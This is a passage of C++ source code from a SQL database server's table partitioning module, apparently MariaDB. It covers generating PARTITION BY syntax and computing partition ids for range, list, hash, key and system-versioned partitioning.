The code is optimised for minimal code size since it is not used in any
common queries.
*/
char *generate_partition_syntax(THD *thd, partition_info *part_info,
uint *buf_length,
bool show_partition_options,
HA_CREATE_INFO *create_info,
Alter_info *alter_info)
{
uint i,j, tot_num_parts, num_subparts;
partition_element *part_elem;
int err= 0;
List_iterator<partition_element> part_it(part_info->partitions);
StringBuffer<1024> str;
DBUG_ENTER("generate_partition_syntax");
err+= str.append(STRING_WITH_LEN(" PARTITION BY "));
switch (part_info->part_type)
{
case RANGE_PARTITION:
err+= str.append(STRING_WITH_LEN("RANGE "));
break;
case LIST_PARTITION:
err+= str.append(STRING_WITH_LEN("LIST "));
break;
case HASH_PARTITION:
if (part_info->linear_hash_ind)
err+= str.append(STRING_WITH_LEN("LINEAR "));
if (part_info->list_of_part_fields)
{
err+= add_key_with_algorithm(&str, part_info);
err+= add_part_field_list(thd, &str, part_info->part_field_list);
}
else
err+= str.append(STRING_WITH_LEN("HASH "));
break;
case VERSIONING_PARTITION:
err+= str.append(STRING_WITH_LEN("SYSTEM_TIME "));
break;
default:
DBUG_ASSERT(0);
/* We really shouldn't get here, no use in continuing from here */
my_error(ER_OUT_OF_RESOURCES, MYF(ME_FATALERROR));
DBUG_RETURN(NULL);
}
if (part_info->part_type == VERSIONING_PARTITION)
{
Vers_part_info *vers_info= part_info->vers_info;
DBUG_ASSERT(vers_info);
if (vers_info->interval.is_set())
{
err+= str.append(STRING_WITH_LEN("INTERVAL "));
err+= append_interval(&str, vers_info->interval.type,
vers_info->interval.step);
if (create_info) // not SHOW CREATE
{
err+= str.append(STRING_WITH_LEN(" STARTS "));
err+= str.append_ulonglong(vers_info->interval.start);
}
}
if (vers_info->limit)
{
err+= str.append(STRING_WITH_LEN("LIMIT "));
err+= str.append_ulonglong(vers_info->limit);
}
}
else if (part_info->part_expr)
{
err+= str.append('(');
part_info->part_expr->print_for_table_def(&str);
err+= str.append(')');
}
else if (part_info->column_list)
{
err+= str.append(STRING_WITH_LEN(" COLUMNS"));
err+= add_part_field_list(thd, &str, part_info->part_field_list);
}
if ((!part_info->use_default_num_partitions) &&
part_info->use_default_partitions)
{
err+= str.append(STRING_WITH_LEN("\nPARTITIONS "));
err+= str.append_ulonglong(part_info->num_parts);
}
if (part_info->is_sub_partitioned())
{
err+= str.append(STRING_WITH_LEN("\nSUBPARTITION BY "));
/* Must be hash partitioning for subpartitioning */
if (part_info->linear_hash_ind)
err+= str.append(STRING_WITH_LEN("LINEAR "));
if (part_info->list_of_subpart_fields)
{
err+= add_key_with_algorithm(&str, part_info);
err+= add_part_field_list(thd, &str, part_info->subpart_field_list);
}
else
err+= str.append(STRING_WITH_LEN("HASH "));
if (part_info->subpart_expr)
{
err+= str.append('(');
part_info->subpart_expr->print_for_table_def(&str);
err+= str.append(')');
}
if ((!part_info->use_default_num_subpartitions) &&
part_info->use_default_subpartitions)
{
err+= str.append(STRING_WITH_LEN("\nSUBPARTITIONS "));
err+= str.append_ulonglong(part_info->num_subparts);
}
}
tot_num_parts= part_info->partitions.elements;
num_subparts= part_info->num_subparts;
if (!part_info->use_default_partitions)
{
bool first= TRUE;
err+= str.append(STRING_WITH_LEN("\n("));
i= 0;
do
{
part_elem= part_it++;
if (part_elem->part_state != PART_TO_BE_DROPPED &&
part_elem->part_state != PART_REORGED_DROPPED)
{
if (!first)
err+= str.append(STRING_WITH_LEN(",\n "));
first= FALSE;
err+= str.append(STRING_WITH_LEN("PARTITION "));
err+= append_identifier(thd, &str, part_elem->partition_name,
strlen(part_elem->partition_name));
err+= add_partition_values(&str, part_info, part_elem,
create_info, alter_info);
if (!part_info->is_sub_partitioned() ||
part_info->use_default_subpartitions)
{
if (show_partition_options)
err+= add_partition_options(&str, part_elem);
}
else
{
err+= str.append(STRING_WITH_LEN("\n ("));
List_iterator<partition_element> sub_it(part_elem->subpartitions);
j= 0;
do
{
part_elem= sub_it++;
err+= str.append(STRING_WITH_LEN("SUBPARTITION "));
err+= append_identifier(thd, &str, part_elem->partition_name,
strlen(part_elem->partition_name));
if (show_partition_options)
err+= add_partition_options(&str, part_elem);
if (j != (num_subparts-1))
err+= str.append(STRING_WITH_LEN(",\n "));
else
err+= str.append(')');
} while (++j < num_subparts);
}
}
if (i == (tot_num_parts-1))
err+= str.append(')');
} while (++i < tot_num_parts);
}
if (err)
DBUG_RETURN(NULL);
*buf_length= str.length();
DBUG_RETURN(thd->strmake(str.ptr(), str.length()));
}
/*
Check if partition key fields are modified and if it can be handled by the
underlying storage engine.
SYNOPSIS
partition_key_modified
table TABLE object for which partition fields are set-up
fields Bitmap representing fields to be modified
RETURN VALUES
TRUE Need special handling of UPDATE
FALSE Normal UPDATE handling is ok
*/
bool partition_key_modified(TABLE *table, const MY_BITMAP *fields)
{
Field **fld;
partition_info *part_info= table->part_info;
DBUG_ENTER("partition_key_modified");
if (!part_info)
DBUG_RETURN(FALSE);
if (table->s->db_type()->partition_flags &&
(table->s->db_type()->partition_flags() & HA_CAN_UPDATE_PARTITION_KEY))
DBUG_RETURN(FALSE);
for (fld= part_info->full_part_field_array; *fld; fld++)
if (bitmap_is_set(fields, (*fld)->field_index))
DBUG_RETURN(TRUE);
DBUG_RETURN(FALSE);
}
/*
A function to handle correct handling of NULL values in partition
functions.
SYNOPSIS
part_val_int()
item_expr The item expression to evaluate
out:result The value of the partition function,
LONGLONG_MIN if any null value in function
RETURN VALUES
TRUE Error in val_int()
FALSE ok
*/
static inline int part_val_int(Item *item_expr, longlong *result)
{
*result= item_expr->val_int();
if (item_expr->null_value)
{
if (unlikely(current_thd->is_error()))
return TRUE;
*result= LONGLONG_MIN;
}
return FALSE;
}
/*
The next set of functions are used to calculate the partition identity.
A handler sets up a variable that corresponds to one of these functions
to be able to quickly call it whenever the partition id needs to calculated
based on the record in table->record[0] (or set up to fake that).
There are 4 functions for hash partitioning and 2 for RANGE/LIST partitions.
In addition there are 4 variants for RANGE subpartitioning and 4 variants
for LIST subpartitioning thus in total there are 14 variants of this
function.
We have a set of support functions for these 14 variants. There are 4
variants of hash functions and there is a function for each. The KEY
partitioning uses the function calculate_key_hash_value to calculate the hash
value based on an array of fields. The linear hash variants uses the
method get_part_id_from_linear_hash to get the partition id using the
hash value and some parameters calculated from the number of partitions.
*/
/*
A simple support function to calculate part_id given local part and
sub part.
SYNOPSIS
get_part_id_for_sub()
loc_part_id Local partition id
sub_part_id Subpartition id
num_subparts Number of subparts
*/
inline
static uint32 get_part_id_for_sub(uint32 loc_part_id, uint32 sub_part_id,
uint num_subparts)
{
return (uint32)((loc_part_id * num_subparts) + sub_part_id);
}
/*
Calculate part_id for (SUB)PARTITION BY HASH
SYNOPSIS
get_part_id_hash()
num_parts Number of hash partitions
part_expr Item tree of hash function
out:part_id The returned partition id
out:func_value Value of hash function
RETURN VALUE
!= 0 Error code
FALSE Success
*/
static int get_part_id_hash(uint num_parts,
Item *part_expr,
uint32 *part_id,
longlong *func_value)
{
longlong int_hash_id;
DBUG_ENTER("get_part_id_hash");
if (part_val_int(part_expr, func_value))
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
int_hash_id= *func_value % num_parts;
*part_id= int_hash_id < 0 ? (uint32) -int_hash_id : (uint32) int_hash_id;
DBUG_RETURN(FALSE);
}
/*
Calculate part_id for (SUB)PARTITION BY LINEAR HASH
SYNOPSIS
get_part_id_linear_hash()
part_info A reference to the partition_info struct where all the
desired information is given
num_parts Number of hash partitions
part_expr Item tree of hash function
out:part_id The returned partition id
out:func_value Value of hash function
RETURN VALUE
!= 0 Error code
0 OK
*/
static int get_part_id_linear_hash(partition_info *part_info,
uint num_parts,
Item *part_expr,
uint32 *part_id,
longlong *func_value)
{
DBUG_ENTER("get_part_id_linear_hash");
if (part_val_int(part_expr, func_value))
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
*part_id= get_part_id_from_linear_hash(*func_value,
part_info->linear_hash_mask,
num_parts);
DBUG_RETURN(FALSE);
}
/**
Calculate part_id for (SUB)PARTITION BY KEY
@param file Handler to storage engine
@param field_array Array of fields for PARTTION KEY
@param num_parts Number of KEY partitions
@param func_value[out] Returns calculated hash value
@return Calculated partition id
*/
inline
static uint32 get_part_id_key(handler *file,
Field **field_array,
uint num_parts,
longlong *func_value)
{
DBUG_ENTER("get_part_id_key");
*func_value= ha_partition::calculate_key_hash_value(field_array);
DBUG_RETURN((uint32) (*func_value % num_parts));
}
/*
Calculate part_id for (SUB)PARTITION BY LINEAR KEY
SYNOPSIS
get_part_id_linear_key()
part_info A reference to the partition_info struct where all the
desired information is given
field_array Array of fields for PARTTION KEY
num_parts Number of KEY partitions
RETURN VALUE
Calculated partition id
*/
inline
static uint32 get_part_id_linear_key(partition_info *part_info,
Field **field_array,
uint num_parts,
longlong *func_value)
{
DBUG_ENTER("get_part_id_linear_key");
*func_value= ha_partition::calculate_key_hash_value(field_array);
DBUG_RETURN(get_part_id_from_linear_hash(*func_value,
part_info->linear_hash_mask,
num_parts));
}
/*
Copy to field buffers and set up field pointers
SYNOPSIS
copy_to_part_field_buffers()
ptr Array of fields to copy
field_bufs Array of field buffers to copy to
restore_ptr Array of pointers to restore to
RETURN VALUES
NONE
DESCRIPTION
This routine is used to take the data from field pointer, convert
it to a standard format and store this format in a field buffer
allocated for this purpose. Next the field pointers are moved to
point to the field buffers. There is a separate to restore the
field pointers after this call.
*/
static void copy_to_part_field_buffers(Field **ptr,
uchar **field_bufs,
uchar **restore_ptr)
{
Field *field;
while ((field= *(ptr++)))
{
*restore_ptr= field->ptr;
restore_ptr++;
if (!field->maybe_null() || !field->is_null())
{
CHARSET_INFO *cs= field->charset();
uint max_len= field->pack_length();
uint data_len= field->data_length();
uchar *field_buf= *field_bufs;
/*
We only use the field buffer for VARCHAR and CHAR strings
which isn't of a binary collation. We also only use the
field buffer for fields which are not currently NULL.
The field buffer will store a normalised string. We use
the strnxfrm method to normalise the string.
*/
if (field->type() == MYSQL_TYPE_VARCHAR)
{
uint len_bytes= ((Field_varstring*)field)->length_bytes;
my_strnxfrm(cs, field_buf + len_bytes, max_len,
field->ptr + len_bytes, data_len);
if (len_bytes == 1)
*field_buf= (uchar) data_len;
else
int2store(field_buf, data_len);
}
else
{
my_strnxfrm(cs, field_buf, max_len,
field->ptr, max_len);
}
field->ptr= field_buf;
}
field_bufs++;
}
return;
}
/*
Restore field pointers
SYNOPSIS
restore_part_field_pointers()
ptr Array of fields to restore
restore_ptr Array of field pointers to restore to
RETURN VALUES
*/
static void restore_part_field_pointers(Field **ptr, uchar **restore_ptr)
{
Field *field;
while ((field= *(ptr++)))
{
field->ptr= *restore_ptr;
restore_ptr++;
}
return;
}
/*
This function is used to calculate the partition id where all partition
fields have been prepared to point to a record where the partition field
values are bound.
SYNOPSIS
get_partition_id()
part_info A reference to the partition_info struct where all the
desired information is given
out:part_id The partition id is returned through this pointer
out:func_value Value of partition function (longlong)
RETURN VALUE
part_id Partition id of partition that would contain
row with given values of PF-fields
HA_ERR_NO_PARTITION_FOUND The fields of the partition function didn't
fit into any partition and thus the values of
the PF-fields are not allowed.
DESCRIPTION
A routine used from write_row, update_row and delete_row from any
handler supporting partitioning. It is also a support routine for
get_partition_set used to find the set of partitions needed to scan
for a certain index scan or full table scan.
It is actually 9 different variants of this function which are called
through a function pointer.
get_partition_id_list
get_partition_id_list_col
get_partition_id_range
get_partition_id_range_col
get_partition_id_hash_nosub
get_partition_id_key_nosub
get_partition_id_linear_hash_nosub
get_partition_id_linear_key_nosub
get_partition_id_with_sub
*/
/*
This function is used to calculate the main partition to use in the case of
subpartitioning and we don't know enough to get the partition identity in
total.
SYNOPSIS
get_part_partition_id()
part_info A reference to the partition_info struct where all the
desired information is given
out:part_id The partition id is returned through this pointer
out:func_value The value calculated by partition function
RETURN VALUE
HA_ERR_NO_PARTITION_FOUND The fields of the partition function didn't
fit into any partition and thus the values of
the PF-fields are not allowed.
0 OK
DESCRIPTION
It is actually 8 different variants of this function which are called
through a function pointer.
get_partition_id_list
get_partition_id_list_col
get_partition_id_range
get_partition_id_range_col
get_partition_id_hash_nosub
get_partition_id_key_nosub
get_partition_id_linear_hash_nosub
get_partition_id_linear_key_nosub
*/
static int get_part_id_charset_func_part(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
int res;
DBUG_ENTER("get_part_id_charset_func_part");
copy_to_part_field_buffers(part_info->part_charset_field_array,
part_info->part_field_buffers,
part_info->restore_part_field_ptrs);
res= part_info->get_part_partition_id_charset(part_info,
part_id, func_value);
restore_part_field_pointers(part_info->part_charset_field_array,
part_info->restore_part_field_ptrs);
DBUG_RETURN(res);
}
static int get_part_id_charset_func_subpart(partition_info *part_info,
uint32 *part_id)
{
int res;
DBUG_ENTER("get_part_id_charset_func_subpart");
copy_to_part_field_buffers(part_info->subpart_charset_field_array,
part_info->subpart_field_buffers,
part_info->restore_subpart_field_ptrs);
res= part_info->get_subpartition_id_charset(part_info, part_id);
restore_part_field_pointers(part_info->subpart_charset_field_array,
part_info->restore_subpart_field_ptrs);
DBUG_RETURN(res);
}
int get_partition_id_list_col(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
part_column_list_val *list_col_array= part_info->list_col_array;
uint num_columns= part_info->part_field_list.elements;
int list_index, cmp;
int min_list_index= 0;
int max_list_index= part_info->num_list_values - 1;
DBUG_ENTER("get_partition_id_list_col");
while (max_list_index >= min_list_index)
{
list_index= (max_list_index + min_list_index) >> 1;
cmp= cmp_rec_and_tuple(list_col_array + list_index*num_columns,
num_columns);
if (cmp > 0)
min_list_index= list_index + 1;
else if (cmp < 0)
{
if (!list_index)
goto notfound;
max_list_index= list_index - 1;
}
else
{
*part_id= (uint32)list_col_array[list_index*num_columns].partition_id;
DBUG_RETURN(0);
}
}
notfound:
if (part_info->defined_max_value)
{
*part_id= part_info->default_partition_id;
DBUG_RETURN(0);
}
*part_id= 0;
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
}
int get_partition_id_list(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
LIST_PART_ENTRY *list_array= part_info->list_array;
int list_index;
int min_list_index= 0;
int max_list_index= part_info->num_list_values - 1;
longlong part_func_value;
int error= part_val_int(part_info->part_expr, &part_func_value);
longlong list_value;
bool unsigned_flag= part_info->part_expr->unsigned_flag;
DBUG_ENTER("get_partition_id_list");
if (error)
goto notfound;
if (part_info->part_expr->null_value)
{
if (part_info->has_null_value)
{
*part_id= part_info->has_null_part_id;
DBUG_RETURN(0);
}
goto notfound;
}
*func_value= part_func_value;
if (unsigned_flag)
part_func_value-= 0x8000000000000000ULL;
while (max_list_index >= min_list_index)
{
list_index= (max_list_index + min_list_index) >> 1;
list_value= list_array[list_index].list_value;
if (list_value < part_func_value)
min_list_index= list_index + 1;
else if (list_value > part_func_value)
{
if (!list_index)
goto notfound;
max_list_index= list_index - 1;
}
else
{
*part_id= (uint32)list_array[list_index].partition_id;
DBUG_RETURN(0);
}
}
notfound:
if (part_info->defined_max_value)
{
*part_id= part_info->default_partition_id;
DBUG_RETURN(0);
}
*part_id= 0;
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
}
uint32 get_partition_id_cols_list_for_endpoint(partition_info *part_info,
bool left_endpoint,
bool include_endpoint,
uint32 nparts)
{
part_column_list_val *list_col_array= part_info->list_col_array;
uint num_columns= part_info->part_field_list.elements;
uint list_index;
uint min_list_index= 0;
int cmp;
/* Notice that max_list_index = last_index + 1 here! */
uint max_list_index= part_info->num_list_values;
DBUG_ENTER("get_partition_id_cols_list_for_endpoint");
/* Find the matching partition (including taking endpoint into account). */
do
{
/* Midpoint, adjusted down, so it can never be >= max_list_index. */
list_index= (max_list_index + min_list_index) >> 1;
cmp= cmp_rec_and_tuple_prune(list_col_array + list_index*num_columns,
nparts, left_endpoint, include_endpoint);
if (cmp > 0)
{
min_list_index= list_index + 1;
}
else
{
max_list_index= list_index;
if (cmp == 0)
break;
}
} while (max_list_index > min_list_index);
list_index= max_list_index;
/* Given value must be LESS THAN or EQUAL to the found partition. */
DBUG_ASSERT(list_index == part_info->num_list_values ||
(0 >= cmp_rec_and_tuple_prune(list_col_array +
list_index*num_columns,
nparts, left_endpoint,
include_endpoint)));
/* Given value must be GREATER THAN the previous partition. */
DBUG_ASSERT(list_index == 0 ||
(0 < cmp_rec_and_tuple_prune(list_col_array +
(list_index - 1)*num_columns,
nparts, left_endpoint,
include_endpoint)));
/* Include the right endpoint if not already passed end of array. */
if (!left_endpoint && include_endpoint && cmp == 0 &&
list_index < part_info->num_list_values)
list_index++;
DBUG_RETURN(list_index);
}
/**
Find the sub-array part_info->list_array that corresponds to given interval.
@param part_info Partitioning info (partitioning type must be LIST)
@param left_endpoint TRUE - the interval is [a; +inf) or (a; +inf)
FALSE - the interval is (-inf; a] or (-inf; a)
@param include_endpoint TRUE iff the interval includes the endpoint
This function finds the sub-array of part_info->list_array where values of
list_array[idx].list_value are contained within the specifed interval.
list_array is ordered by list_value, so
1. For [a; +inf) or (a; +inf)-type intervals (left_endpoint==TRUE), the
sought sub-array starts at some index idx and continues till array end.
The function returns first number idx, such that
list_array[idx].list_value is contained within the passed interval.
2. For (-inf; a] or (-inf; a)-type intervals (left_endpoint==FALSE), the
sought sub-array starts at array start and continues till some last
index idx.
The function returns first number idx, such that
list_array[idx].list_value is NOT contained within the passed interval.
If all array elements are contained, part_info->num_list_values is
returned.
@note The caller will call this function and then will run along the
sub-array of list_array to collect partition ids. If the number of list
values is significantly higher then number of partitions, this could be slow
and we could invent some other approach. The "run over list array" part is
already wrapped in a get_next()-like function.
@return The index of corresponding sub-array of part_info->list_array.
*/
uint32 get_list_array_idx_for_endpoint_charset(partition_info *part_info,
bool left_endpoint,
bool include_endpoint)
{
uint32 res;
copy_to_part_field_buffers(part_info->part_field_array,
part_info->part_field_buffers,
part_info->restore_part_field_ptrs);
res= get_list_array_idx_for_endpoint(part_info, left_endpoint,
include_endpoint);
restore_part_field_pointers(part_info->part_field_array,
part_info->restore_part_field_ptrs);
return res;
}
uint32 get_list_array_idx_for_endpoint(partition_info *part_info,
bool left_endpoint,
bool include_endpoint)
{
LIST_PART_ENTRY *list_array= part_info->list_array;
uint list_index;
uint min_list_index= 0, max_list_index= part_info->num_list_values - 1;
longlong list_value;
/* Get the partitioning function value for the endpoint */
longlong part_func_value=
part_info->part_expr->val_int_endpoint(left_endpoint, &include_endpoint);
bool unsigned_flag= part_info->part_expr->unsigned_flag;
DBUG_ENTER("get_list_array_idx_for_endpoint");
if (part_info->part_expr->null_value)
{
/*
Special handling for MONOTONIC functions that can return NULL for
values that are comparable. I.e.
'2000-00-00' can be compared to '2000-01-01' but TO_DAYS('2000-00-00')
returns NULL which cannot be compared used <, >, <=, >= etc.
Otherwise, just return the the first index (lowest value).
*/
enum_monotonicity_info monotonic;
monotonic= part_info->part_expr->get_monotonicity_info();
if (monotonic != MONOTONIC_INCREASING_NOT_NULL &&
monotonic != MONOTONIC_STRICT_INCREASING_NOT_NULL)
{
/* F(col) can not return NULL, return index with lowest value */
DBUG_RETURN(0);
}
}
if (unsigned_flag)
part_func_value-= 0x8000000000000000ULL;
DBUG_ASSERT(part_info->num_list_values);
do
{
list_index= (max_list_index + min_list_index) >> 1;
list_value= list_array[list_index].list_value;
if (list_value < part_func_value)
min_list_index= list_index + 1;
else if (list_value > part_func_value)
{
if (!list_index)
goto notfound;
max_list_index= list_index - 1;
}
else
{
DBUG_RETURN(list_index + MY_TEST(left_endpoint ^ include_endpoint));
}
} while (max_list_index >= min_list_index);
notfound:
if (list_value < part_func_value)
list_index++;
DBUG_RETURN(list_index);
}
int get_partition_id_range_col(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
part_column_list_val *range_col_array= part_info->range_col_array;
uint num_columns= part_info->part_field_list.elements;
uint max_partition= part_info->num_parts - 1;
uint min_part_id= 0;
uint max_part_id= max_partition;
uint loc_part_id;
DBUG_ENTER("get_partition_id_range_col");
while (max_part_id > min_part_id)
{
loc_part_id= (max_part_id + min_part_id + 1) >> 1;
if (cmp_rec_and_tuple(range_col_array + loc_part_id*num_columns,
num_columns) >= 0)
min_part_id= loc_part_id + 1;
else
max_part_id= loc_part_id - 1;
}
loc_part_id= max_part_id;
if (loc_part_id != max_partition)
if (cmp_rec_and_tuple(range_col_array + loc_part_id*num_columns,
num_columns) >= 0)
loc_part_id++;
*part_id= (uint32)loc_part_id;
if (loc_part_id == max_partition &&
(cmp_rec_and_tuple(range_col_array + loc_part_id*num_columns,
num_columns) >= 0))
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
DBUG_PRINT("exit",("partition: %d", *part_id));
DBUG_RETURN(0);
}
int vers_get_partition_id(partition_info *part_info, uint32 *part_id,
longlong *func_value)
{
DBUG_ENTER("vers_get_partition_id");
Field *row_end= part_info->part_field_array[STAT_TRX_END];
Vers_part_info *vers_info= part_info->vers_info;
if (row_end->is_max() || row_end->is_null())
*part_id= vers_info->now_part->id;
else // row is historical
{
longlong *range_value= part_info->range_int_array;
uint max_hist_id= part_info->num_parts - 2;
uint min_hist_id= 0, loc_hist_id= vers_info->hist_part->id;
ulong unused;
my_time_t ts;
if (!range_value)
goto done; // fastpath
ts= row_end->get_timestamp(&unused);
if ((loc_hist_id == 0 || range_value[loc_hist_id - 1] < ts) &&
(loc_hist_id == max_hist_id || range_value[loc_hist_id] >= ts))
goto done; // fastpath
while (max_hist_id > min_hist_id)
{
loc_hist_id= (max_hist_id + min_hist_id) / 2;
if (range_value[loc_hist_id] <= ts)
min_hist_id= loc_hist_id + 1;
else
max_hist_id= loc_hist_id;
}
loc_hist_id= max_hist_id;
done:
*part_id= (uint32)loc_hist_id;
}
DBUG_PRINT("exit",("partition: %d", *part_id));
DBUG_RETURN(0);
}
int get_partition_id_range(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
longlong *range_array= part_info->range_int_array;
uint max_partition= part_info->num_parts - 1;
uint min_part_id= 0;
uint max_part_id= max_partition;
uint loc_part_id;
longlong part_func_value;
int error= part_val_int(part_info->part_expr, &part_func_value);
bool unsigned_flag= part_info->part_expr->unsigned_flag;
DBUG_ENTER("get_partition_id_range");
if (unlikely(error))
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
if (part_info->part_expr->null_value)
{
*part_id= 0;
DBUG_RETURN(0);
}
*func_value= part_func_value;
if (unsigned_flag)
part_func_value-= 0x8000000000000000ULL;
/* Search for the partition containing part_func_value */
while (max_part_id > min_part_id)
{
loc_part_id= (max_part_id + min_part_id) / 2;
if (range_array[loc_part_id] <= part_func_value)
min_part_id= loc_part_id + 1;
else
max_part_id= loc_part_id;
}
loc_part_id= max_part_id;
*part_id= (uint32)loc_part_id;
if (loc_part_id == max_partition &&
part_func_value >= range_array[loc_part_id] &&
!part_info->defined_max_value)
DBUG_RETURN(HA_ERR_NO_PARTITION_FOUND);
DBUG_PRINT("exit",("partition: %d", *part_id));
DBUG_RETURN(0);
}
/*
Find the sub-array of part_info->range_int_array that covers given interval
SYNOPSIS
get_partition_id_range_for_endpoint()
part_info Partitioning info (partitioning type must be RANGE)
left_endpoint TRUE - the interval is [a; +inf) or (a; +inf)
FALSE - the interval is (-inf; a] or (-inf; a).
include_endpoint TRUE <=> the endpoint itself is included in the
interval
DESCRIPTION
This function finds the sub-array of part_info->range_int_array where the
elements have non-empty intersections with the given interval.
A range_int_array element at index idx represents the interval
[range_int_array[idx-1], range_int_array[idx]),
intervals are disjoint and ordered by their right bound, so
1. For [a; +inf) or (a; +inf)-type intervals (left_endpoint==TRUE), the
sought sub-array starts at some index idx and continues till array end.
The function returns first number idx, such that the interval
represented by range_int_array[idx] has non empty intersection with
the passed interval.
2. For (-inf; a] or (-inf; a)-type intervals (left_endpoint==FALSE), the
sought sub-array starts at array start and continues till some last
index idx.
The function returns first number idx, such that the interval
represented by range_int_array[idx] has EMPTY intersection with the
passed interval.
If the interval represented by the last array element has non-empty
intersection with the passed interval, part_info->num_parts is
returned.
RETURN
The edge of corresponding part_info->range_int_array sub-array.
*/
static uint32
get_partition_id_range_for_endpoint_charset(partition_info *part_info,
bool left_endpoint,
bool include_endpoint)
{
uint32 res;
copy_to_part_field_buffers(part_info->part_field_array,
part_info->part_field_buffers,
part_info->restore_part_field_ptrs);
res= get_partition_id_range_for_endpoint(part_info, left_endpoint,
include_endpoint);
restore_part_field_pointers(part_info->part_field_array,
part_info->restore_part_field_ptrs);
return res;
}
uint32 get_partition_id_range_for_endpoint(partition_info *part_info,
bool left_endpoint,
bool include_endpoint)
{
longlong *range_array= part_info->range_int_array;
longlong part_end_val;
uint max_partition= part_info->num_parts - 1;
uint min_part_id= 0, max_part_id= max_partition, loc_part_id;
/* Get the partitioning function value for the endpoint */
longlong part_func_value=
part_info->part_expr->val_int_endpoint(left_endpoint, &include_endpoint);
bool unsigned_flag= part_info->part_expr->unsigned_flag;
DBUG_ENTER("get_partition_id_range_for_endpoint");
if (part_info->part_expr->null_value)
{
/*
Special handling for MONOTONIC functions that can return NULL for
values that are comparable. I.e.
'2000-00-00' can be compared to '2000-01-01' but TO_DAYS('2000-00-00')
returns NULL which cannot be compared used <, >, <=, >= etc.
Otherwise, just return the first partition
(may be included if not left endpoint)
*/
enum_monotonicity_info monotonic;
monotonic= part_info->part_expr->get_monotonicity_info();
if (monotonic != MONOTONIC_INCREASING_NOT_NULL &&
monotonic != MONOTONIC_STRICT_INCREASING_NOT_NULL)
{
/* F(col) can not return NULL, return partition with lowest value */
if (!left_endpoint && include_endpoint)
DBUG_RETURN(1);
DBUG_RETURN(0);
}
}
if (unsigned_flag)
part_func_value-= 0x8000000000000000ULL;
if (left_endpoint && !include_endpoint)
part_func_value++;
/*
Search for the partition containing part_func_value
(including the right endpoint).
*/
while (max_part_id > min_part_id)
{
loc_part_id= (max_part_id + min_part_id) / 2;
if (range_array[loc_part_id] < part_func_value)
min_part_id= loc_part_id + 1;
else
max_part_id= loc_part_id;
}
loc_part_id= max_part_id;
/* Adjust for endpoints */
part_end_val= range_array[loc_part_id];
if (left_endpoint)
{
DBUG_ASSERT(part_func_value > part_end_val ?
(loc_part_id == max_partition &&
!part_info->defined_max_value) :
1);
/*
In case of PARTITION p VALUES LESS THAN MAXVALUE
the maximum value is in the current (last) partition.
If value is equal or greater than the endpoint,
the range starts from the next partition.
*/
if (part_func_value >= part_end_val &&
(loc_part_id < max_partition || !part_info->defined_max_value))
loc_part_id++;
}
else
{
/* if 'WHERE <= X' and partition is LESS THAN (X) include next partition */
if (include_endpoint && loc_part_id < max_partition &&
part_func_value == part_end_val)
loc_part_id++;
/* Right endpoint, set end after correct partition */
loc_part_id++;
}
DBUG_RETURN(loc_part_id);
}
int get_partition_id_hash_nosub(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
return get_part_id_hash(part_info->num_parts, part_info->part_expr,
part_id, func_value);
}
int get_partition_id_linear_hash_nosub(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
return get_part_id_linear_hash(part_info, part_info->num_parts,
part_info->part_expr, part_id, func_value);
}
int get_partition_id_key_nosub(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
*part_id= get_part_id_key(part_info->table->file,
part_info->part_field_array,
part_info->num_parts, func_value);
return 0;
}
int get_partition_id_linear_key_nosub(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
*part_id= get_part_id_linear_key(part_info,
part_info->part_field_array,
part_info->num_parts, func_value);
return 0;
}
int get_partition_id_with_sub(partition_info *part_info,
uint32 *part_id,
longlong *func_value)
{
uint32 loc_part_id, sub_part_id;
uint num_subparts;
int error;
DBUG_ENTER("get_partition_id_with_sub");
if (unlikely((error= part_info->get_part_partition_id(part_info,
&loc_part_id,
func_value))))
{
DBUG_RETURN(error);
}
num_subparts= part_info->num_subparts;
if (unlikely((error= part_info->get_subpartition_id(part_info,
&sub_part_id))))
{
DBUG_RETURN(error);
}
*part_id= get_part_id_for_sub(loc_part_id, sub_part_id, num_subparts);
DBUG_RETURN(0);
}
/*
This function is used to calculate the subpartition id
SYNOPSIS
get_subpartition_id()
part_info A reference to the partition_info struct where all the
desired information is given
RETURN VALUE
part_id The subpartition identity
DESCRIPTION
A routine used in some SELECT's when only partial knowledge of the
partitions is known.
It is actually 4 different variants of this function which are called
through a function pointer.
get_partition_id_hash_sub
get_partition_id_key_sub
get_partition_id_linear_hash_sub
get_partition_id_linear_key_sub
*/
int get_partition_id_hash_sub(partition_info *part_info,
uint32 *part_id)
{
longlong func_value;
return get_part_id_hash(part_info->num_subparts, part_info->subpart_expr,
part_id, &func_value);
}
int get_partition_id_linear_hash_sub(partition_info *part_info,
uint32 *part_id)
{
longlong func_value;
return get_part_id_linear_hash(part_info, part_info->num_subparts,
part_info->subpart_expr, part_id,
&func_value);
}
int get_partition_id_key_sub(partition_info *part_info,
uint32 *part_id)
{
longlong func_value;
*part_id= get_part_id_key(part_info->table->file,
part_info->subpart_field_array,
part_info->num_subparts, &func_value);
return FALSE;
}
int get_partition_id_linear_key_sub(partition_info *part_info,
uint32 *part_id)
{
longlong func_value;
*part_id= get_part_id_linear_key(part_info,
part_info->subpart_field_array,
part_info->num_subparts, &func_value);
return FALSE;
}
/*
Set an indicator on all partition fields that are set by the key
SYNOPSIS
set_PF_fields_in_key()
key_info Information about the index
key_length Length of key
RETURN VALUE
TRUE Found partition field set by key
FALSE No partition field set by key
*/
static bool set_PF_fields_in_key(KEY *key_info, uint key_length)
{
KEY_PART_INFO *key_part;
bool found_part_field= FALSE;
DBUG_ENTER("set_PF_fields_in_key");
for (key_part= key_info->key_part; (int)key_length > 0; key_part++)
{
if (key_part->null_bit)
key_length--;
if (key_part->type == HA_KEYTYPE_BIT)
{
if (((Field_bit*)key_part->field)->bit_len)
key_length--;
